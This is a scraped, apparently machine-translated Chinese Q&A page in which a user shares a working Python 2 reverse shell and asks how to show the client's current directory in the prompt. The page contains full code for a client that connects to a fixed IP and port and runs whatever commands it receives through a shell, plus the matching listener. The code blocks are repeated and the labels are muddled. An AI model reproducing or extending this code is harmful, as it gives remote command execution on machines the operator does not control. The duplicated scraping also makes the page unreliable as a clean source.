在Python反向shell中将当前工作目录设置为输入提示符
这是我用python编写的简单的反向shell。我正在努力让它变得更好 客户端代码:在Python反向shell中将当前工作目录设置为输入提示符,python,shell,input,reverse,prompt,Python,Shell,Input,Reverse,Prompt,这是我用python编写的简单的反向shell。我正在努力让它变得更好 客户端代码: import socket import subprocess mySocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0) mySocket.connect(('172.16.1.30', 7071)) cmd=mySocket.recv(100) while (cmd != 'exit'): cmdResult = subproc
import socket
import subprocess
mySocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)
mySocket.connect(('172.16.1.30', 7071))
cmd=mySocket.recv(100)
while (cmd != 'exit'):
cmdResult = subprocess.Popen(args=cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
mySocket.send(cmdResult.communicate()[0])
cmd = mySocket.recv(100)
mySocket.send('Shell closed by user.')
mySocket.close()
import socket
mySocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)
mySocket.bind(('172.16.1.30', 7071))
mySocket.listen(1)
clntConn, clntAddr = mySocket.accept()
print 'Received connection from ' + str(clntAddr[0]) + ':' + str(clntAddr[1])
while True:
command=raw_input('Shell>')
clntConn.send(command)
result=clntConn.recv(1024)
if (result == 'Shell closed by user.'):
print result
exit(0)
else:
print result
服务器端代码:
import socket
import subprocess
mySocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)
mySocket.connect(('172.16.1.30', 7071))
cmd=mySocket.recv(100)
while (cmd != 'exit'):
cmdResult = subprocess.Popen(args=cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
mySocket.send(cmdResult.communicate()[0])
cmd = mySocket.recv(100)
mySocket.send('Shell closed by user.')
mySocket.close()
import socket
mySocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)
mySocket.bind(('172.16.1.30', 7071))
mySocket.listen(1)
clntConn, clntAddr = mySocket.accept()
print 'Received connection from ' + str(clntAddr[0]) + ':' + str(clntAddr[1])
while True:
command=raw_input('Shell>')
clntConn.send(command)
result=clntConn.recv(1024)
if (result == 'Shell closed by user.'):
print result
exit(0)
else:
print result
如“服务器端代码”中所示,原始输入提示为“Shell”。
如何将其更改为客户端上的当前工作目录
例如,如果客户端当前工作目录为“C:\Users\Test\Desktop\”
我有一个原始输入提示“C:\Users\Test\Desktop>”
谢谢。您可以使用,它应该可以在Unix和Windows上运行
import os
cwd = os.getcwd()
我希望客户端有当前的工作目录,而不是服务器端。然后在客户端内运行该命令。不过,命令还是一样的。